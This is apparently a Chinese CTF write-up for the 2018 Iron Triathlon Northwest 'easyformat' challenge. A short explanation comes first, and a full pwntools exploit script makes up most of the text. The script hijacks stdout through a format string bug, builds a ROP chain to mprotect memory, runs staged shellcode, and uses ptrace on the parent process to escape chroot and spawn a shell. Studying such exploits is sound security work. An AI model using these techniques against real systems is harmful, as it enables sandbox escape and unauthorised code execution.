2018 铁人三项 西北赛区 easyformat

放了好久了 一直没写,,,

easyformat

这个题当时现场是没人做出来的,全国听说也只有两人…

这是一个沙箱逃逸题,chroot了 需要逃逸出来…

思路是:

首先通过fmt 进行指针劫持,然后构造rop,创建一段可以 shellcode的空间。之后通过 ptrace去附加父进程。

Ps: libformatstr Python库地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from libformatstr import *
from pwn import *
# from mypwn import *
# from zio import *

target = 'strace -f -o aa.txt ./format'


# p = zio(target)

def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return

t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)

p=process('./format')
stdout=0x6CC300

f=FormatStr(isx64=1,autosort=False)
f[stdout+0xa0]=stdout
f[stdout+0x98]=stdout+0x30
f[stdout+0x50]=0x400BD0 # input function
f.dword(stdout+0xd8,0x4BF780-0x38)
# gdb attach `ps -aux|grep ./format$|awk '{print $2}'|sort -r`
raw_input('wait to debug')
p.writeline(f.payload(6))

#Now we are able to modify the whole struct of stdout.

with p.waitfor('Receiving all data') as h:
with p.local(3):
try:
while True:
if not p.recv():
break
except EOFError:
pass

context.arch='amd64'

# this is going to modify the page protection
payload='\x00'*0x20
payload+=p64(stdout+0x68) # new stack
payload+=p64(0)
payload+=p64(0x44ad50) # xchg eax, esp ; ret
payload+=p64(0x442fa9) # pop rdx ; pop rsi
payload+=p64(7)
payload+=p64(0x1000)
payload+=p64(0x4006b5) #pop rdi
payload+=p64(stdout&0xfffff000)
payload+=p64(0x400644) #add rsp, 0x10 ; pop rbx ; ret
payload+=p64(0xdeadbeef)
payload+=p64(stdout-0x10)
payload+=p64(0xdeadbeef)
payload+=p64(0x4405F0) #mprotect
payload+=p64(stdout+0xc0) # shellcode

# now we can execute our shellcode.
shellcode=asm('''
xor r9d, r9d
xor edi, edi
mov r8d, 0xFFFFFFFF
mov ecx, 0x22
mov edx, 7
mov esi, 0x4000
mov rax, 0x440510
call rax

mov rsi,rax
xor rdi,rdi
mov rdx,0x4000
mov rax,rdi
syscall
jmp rsi

''')

payload+=shellcode

raw_input('wait to debug')
p.writeline(payload)

# bypass the chroot via ptrace
shellcode=asm('''
xor r9d, r9d
xor edi, edi
mov r8d, 0xFFFFFFFF
mov ecx, 0x22
mov edx, 3
mov esi, 0x4000
mov rax, 0x440510
call rax
mov rbp,rax
add rax,0x3f00
mov rsp,rax

xor rax,rax
mov al,110
syscall

mov r15,rax
mov rsi,rax
mov di,0x10
xor r10,r10
mov rdx,r10
call ptrace

xor rsi,rsi
mov rdi,r15
call wait

call getaddr
xor r12,r12
mov rbx,r12
mov rdx,0x43EFC0
mov r14,rax

write:
mov rdi,5
mov r10,qword ptr [r14]
mov rsi,r15
call ptrace

inc r12
cmp r12,5
add rdx,8
add r14,8
jnz write

mov di,17
mov rsi,r15
xor rdx,rdx
mov r10,rdx
call ptrace

xor rax,rax
mov rdi,rax
mov al,60
syscall
ptrace:
xor rax,rax
mov al,0x65
syscall
ret

wait:

xor r10d, r10d
movsxd rdx, edx
movsxd rdi, edi
mov eax, 0x3D
syscall
ret

getaddr:
lea rax,[rip+1]
ret
'''+shellcraft.amd64.linux.sh())

raw_input('wait to debug')
p.writeline(shellcode.ljust(0x4000,'\x90'))


# p.interact()
p.interactive()